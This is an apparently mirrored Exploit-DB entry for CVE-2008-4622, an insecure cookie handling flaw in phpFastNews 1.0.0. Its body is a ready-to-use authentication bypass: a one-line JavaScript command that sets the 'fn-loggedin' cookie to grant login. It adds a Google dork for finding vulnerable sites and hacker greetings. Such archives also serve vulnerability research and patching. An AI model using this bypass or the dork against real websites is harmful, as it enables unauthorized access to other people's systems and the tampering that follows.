Exploit phpFastNews 1.0.0 - Insecure Cookie Handling

[Exploiter]

EDB-ID

6779

Проверка EDB

1. Пройдено

Автор

QABANDI

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-4622

Дата публикации

2008-10-18

#################################################
##	Qabandi 	iqa[at]hotmail.fr      ##
##		from Kuwait		       ##
#################################################
\\	phpFastNews
//	 Insecure cookie handling
\\
//   Go to any website that has the script installed
\\	type the following code into the Adress Bar
//
\\	javascript:document.cookie = "fn-loggedin = 1";
//
\\	Refresh do whatever, and you will be logged in
//
\\		Dork:intext:"Powered by phpFastNews"
#################################################
##	Greetz: Killer Hack, Str0ke	       ##
#################################################
		PEACE

# milw0rm.com [2008-10-18]